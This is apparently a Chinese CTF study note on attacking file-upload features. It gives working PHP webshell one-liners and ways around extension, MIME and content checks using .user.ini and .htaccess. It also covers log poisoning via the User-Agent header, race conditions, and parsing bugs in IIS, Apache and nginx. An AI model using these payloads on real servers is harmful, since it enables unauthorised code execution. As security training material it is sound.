文件上传总结

文件上传

后门代码必须用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如: jpg图片里面有php后门代码,后门不能被解析,所以连接不上

webshell和其对应网站的开发语言:

  • php php马
  • asp asp马
  • .net aspx马
  • java jsp马

文件上传的检测(ctfshow)

分为前端检测和后端检测 白名单策略和黑名单策略

前端检测(前端代码可改,在本地删掉或者更改前端代码即可)

  • 检查文件后缀

后端检测(后端检查代码未知,只能去猜,可能是黑名单验证或者白名单验证)

上传检测

  • 文件后缀验证: 检查上传文件的后缀名是否合法

    1. 可以通过可以试一下大小写绕过(windows),多后缀解析(上传php5,php7)
    2. 配置文件利用(.user.ini文件(nginx,apache) .htaccess文件(apache,nginx默认不支持但是可以通过其他配置支持))
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      .user.ini作用
      1. 防止跨目录访问和文件跨目录读取:.user.ini文件可以帮助防止非法用户访问或读取目录中的文件(只对此目录和子目录的php程序起作用)
      2. 文件包含:.user.ini文件中的auto_prepend_file和auto_append_file配置可以实现文件包含。auto_prepend_file配置项指定一个文件,该文件会在每个PHP脚本执行前被自动包含,类似于在文件前调用了require()函数。而auto_append_file配置项指定的文件会在每个PHP脚本执行后被自动包含
      3. 使用的条件:服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)
      总结一下:
      利用.user.ini文件需要同目录下 有以下三个文件
      // .user.ini
      auto_prepend_file = 1.jpg // 包含图片
      // 1.jpg
      <?php eval(`$_GET['cmd']);?> // 后门代码
      // index.php(任意php文件,用来执行.user.ini)
    1
    2
    3
    4
    5
    6
    7
    .htaccess作用
    网站的配置文件 和.user.ini类似 可以通过更改解析规则来实现解析文件马
    利用:
    先传入图片马
    然后传入.htaccess文件,文件内容如下
    AddType application/x-httpd-php .png
    意思是将.png文件解析为php文件(.png可以替换为别的文件名)
  • MIME类型验证: 在数据包的Content-Type字段中检查上传文件的类型

  • 图片内容检测: 检查数据包中的图片内容是否合法,可以在数据包中慢慢删除一些数据,去测试检测点(然后再去看如何绕过)

    1. 检查标签(比如检测<?php ): 可以用短标签或者其他标签去绕过

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <? ?>       // 需要开启短标签开关 short_open_tag

      <?= // 不需要闭合标签 要求:PHP版本>PHP 5.4.0

      // asp标签
      <% %> // 要求开启asp_tags

      // js标签 php7后好像就不能用了
      <script language=”php”>system($_GET['cmd']);

    2. 文件头检验: 添加图片文件头绕过(一般用gif文件头GIF89a来绕过)

    3. 检查[]: 可以用()去绕过 如 <?php eval($_GET('cmd'));?>

    4. 检查;: 可以不写分号去绕过 如 <?=system('tac ../fl*')?>

    5. 检查(): 可以用反引号去绕过 如 <?=`tac ../f*`?>

    6. 检查.: 可以用远程文件包含(.user.ini或者 图片马)去绕过,包含vps中的后门代码 IP 地址中的. 可以用ip转int类型去绕过 如 <?php include '2130706433'?>

    7. 一些关键字被过滤了,可以用”.”去拼接 如log被过滤 可以用 lo”.”g去绕过

    8. 在所有的在请求体里面的绕过都无效的时候,可以试试尝试将payload写入UA头里面,因为服务器会有日志记录,所有我们可以将payload写入UA头里面,然后再通过.user.ini去包含图片马(图片马中要包含日志文件)来执行,如:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      随便发送一个包UA头里面带payload

      // 图片马包含日志
      // nginx日志路径为:/var/log/nginx/access.log
      // apache日志路径为:/var/log/httpd/access_log
      <?php include "/var/lo"."g/nginx/access.lo"."g"?>
      // ""和. 来拼接绕过log关键字
      // .user.ini
      auto_prepend_file = 1.jpg // 包含图片

      然后再访问该目录(会直接到该目录的php文件去执行)
      然后看到的就是日志文件了

上传后检测

  1. 上传成功后检测文件,将文件删除
    • 什么都删除: 可以试试条件竞争(在上传成功的时候,立马访问,创建新后门)
    • 检测到恶意文件删除: 免杀 条件竞争
  2. 上传的文件更改(二次渲染)
    • 上传图片马 发现名字和之前上传之前的不一样 然后大小,尺寸属性也不一样 但是图片内容(二进制数据)有相似的地方
      此时需要用脚本生成特定的图片马,或者将恶意代码嵌入到相同图片内容的地方中间

    https://blog.csdn.net/qq_40800734/article/details/105920149

中间件解析漏洞

IIS(version=6.0(通常为winserver 2003),7.0和7.5(通常为winserver 2008))

  • IIS6.0
    1. 文件名: x.asp;x.jpg 就会将jpg解析成asp文件
    2. 目录名: x.asp/x.jpg 就会将jpg解析成asp文件(这个需要更改webshell的上一级的目录名)
  • Apache HTTPD 换行解析漏洞 apache(2.4.0~2.4.29)
    1. 黑名单绕过,如果是白名单策略可能不行: 如果开发者不以最后一个点为准去写白名单 x.jpg.php%0A 则可以绕过
    2. 在上传的时候更改hex(在php后缀后面加上x0A)实现绕过,然后访问x.php%0A就可以成功使服务器将php%0A文件执行为php
  • nginx
    漏洞1:用户配置不当造成的解析漏洞
    上传图片马后访问 然后在地址后面加上/.php 即可成功执行php
    漏洞2.文件名的逻辑漏洞(Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7)
    上传图片马1.gif (注意gif后面的空格),后访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php 即可发现php已经被执行
  • IIS 7.0/IIS 7.5
    它的解析漏洞和nginx的漏洞1一样

编辑器漏洞

看编辑器的类型和版本,然后去搜漏洞利用

文件上传的黑盒和白盒

黑盒: 寻找一切存在文件上传的功能和应用

  1. 个人用户中心是否存在文件上传功能
  2. 后台管理系统是否存在文件上传功能
  3. 字典目录扫描探针文件上传构造地址
  4. 字典目录扫描探针编辑器目录构造地址

白盒: 看三点 中间件 编辑器 功能代码

  1. 中间件直接看语言环境常用搭配
  2. 编辑器直接看目录结构或搜索关键字
  3. 功能代码直接看源码应用或搜索关键字
Contents
  1. 1. 文件上传
    1. 1.1. 文件上传的检测(ctfshow)
      1. 1.1.1. 前端检测(前端代码可改,在本地删掉或者更改前端代码即可)
      2. 1.1.2. 后端检测(后端检查代码未知,只能去猜,可能是黑名单验证或者白名单验证)
        1. 1.1.2.1. 上传检测
        2. 1.1.2.2. 上传后检测
    2. 1.2. 中间件解析漏洞
      1. 1.2.1. IIS(version=6.0(通常为winserver 2003),7.0和7.5(通常为winserver 2008))
    3. 1.3. 编辑器漏洞
  2. 2. 文件上传的黑盒和白盒
    1. 2.1. 黑盒: 寻找一切存在文件上传的功能和应用
    2. 2.2. 白盒: 看三点 中间件 编辑器 功能代码
|